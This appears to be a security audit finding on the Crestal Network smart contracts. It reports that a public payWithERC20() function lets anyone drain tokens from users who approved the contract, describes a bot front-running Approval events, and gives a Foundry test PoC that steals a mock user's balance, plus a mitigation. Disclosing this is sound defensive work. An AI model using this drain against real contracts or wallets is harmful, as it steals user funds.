Old Latte Bull

High

# Direct theft of funds using payWithERC20()

### Summary

The function `payWithERC20()` is public and anyone can call it directly, and users need to approve the blueprint to transfer tokens to create agents or to use `userTopUp` , this allows direct theft of funds from users who approved the blueprint, by calling `payWithERC20` directly.

### Root Cause

- The contract `BlueprintCore.sol` [inherits](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L8) from `Payment.sol`.
- `Payment.sol` has the function [`payWithERC20()`](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/Payment.sol#L25-L32) which is public and callable by anyone.
- Users need to approve the blueprint to transfer tokens ( USDC or CRESTAL ) to be able to use [`userTopUp()`](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L756) , [`updateWorkerDeploymentConfig`](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L650) , or to [create agents](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L464).
- Users who approved will be subject to direct theft, as any malicious user can call `payWithERC20()` to transfer funds directly from the victims who approved to himself ( `msg.sender` in `token.safeTransferFrom(fromAddress, toAddress, amount)` will be the blueprint address, so theft is possible ).

### Internal Pre-conditions

Users need to approve the blueprint contract, which is **required** to perform any of the actions stated above so the likelihood is **very high**.

### External Pre-conditions

N/A

### Attack Path

1. User wants to topUp or create an agent, so they have to approve the blueprint contract to transfer tokens.
2. After approval , the event `Approval` will be emitted.
3. Attacker ( which could be a bot ) is listening to this event, so before the user performs the action, the attacker calls `payWithERC20()` directly, stealing funds from the user.

### Impact

- Direct theft of funds to users.
- It could be automated using a bot, so that any user approves gets his funds stolen, this will efficiently lead to sabotaging creating agents and toUps, and significant loss to the protocol and its users. 

### PoC

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test, console} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {BlueprintV5} from "../src/BlueprintV5.sol";
import {BlueprintCore} from "../src/BlueprintCore.sol";
import {Blueprint} from "../src/Blueprint.sol";
import {stdError} from "forge-std/StdError.sol";
import {MockERC20} from "./MockERC20.sol";

contract AuditTest is Test {
    BlueprintV5 public blueprint;
    MockERC20 public mockToken;
    bytes32 public projectId;
    address public workerAddress;
    address public workerAddress2; // Second worker (attacker)
    address public dummyAddress;
    address public user = address(0x1338);
    address public attacker = address(0x1337);
    bytes public x;

    function setUp() public {
        blueprint = new BlueprintV5();
        blueprint.initialize(); // Mimic upgradeable contract deploy behavior

        mockToken = new MockERC20();

        // Set crestal wallet address
        blueprint.setFeeCollectionWalletAddress(address(0x7D8be0Dd8915E3511fFDDABDD631812be824f578));
        blueprint.addPaymentAddress(address(mockToken));
        blueprint.setCreateAgentTokenCost(address(mockToken), 10e18);
        projectId = bytes32(0x2723a34e38d0f0aa09ce626f00aa23c0464b52c75516cf3203cc4c9afeaf2980);
        workerAddress = address(0x4d6585D89F889F29f77fd7Dd71864269BA1B31df);
        workerAddress2 = makeAddr("worker2"); // Attacker worker
        dummyAddress = address(0);
    }

    function test_StealUserFunds() public {

        // 1 - User approves the blueprint contract to spend tokens (this is required to use the 
        // contract functionalities so it's super likely)
        vm.startPrank(user);
        deal(address(mockToken), user, 1000e18);
        mockToken.approve(address(blueprint), 1000e18);
        vm.stopPrank();
        console.log("User balance before the attack: ", mockToken.balanceOf(user));
        console.log("Attacker balance before the attack: ", mockToken.balanceOf(attacker));
        
        // 2 - Attacker listening to the `Approval` event, steals the user's funds
        vm.startPrank(attacker);
        blueprint.payWithERC20(address(mockToken), 1000e18, user, attacker);
        vm.stopPrank();
        console.log("User balance after  the attack: ", mockToken.balanceOf(user));
        console.log("Attacker balance after the attack: ", mockToken.balanceOf(attacker));

        // 3 - Victim tries to call topUp(), but can't, since his funds have been drained
        vm.startPrank(user);
        vm.expectRevert("ERC20: transfer amount exceeds balance");
        blueprint.userTopUp(address(mockToken), 10e18);
        vm.stopPrank();
    }
}
```

### Mitigation

Make the `payWithERC20` function internal.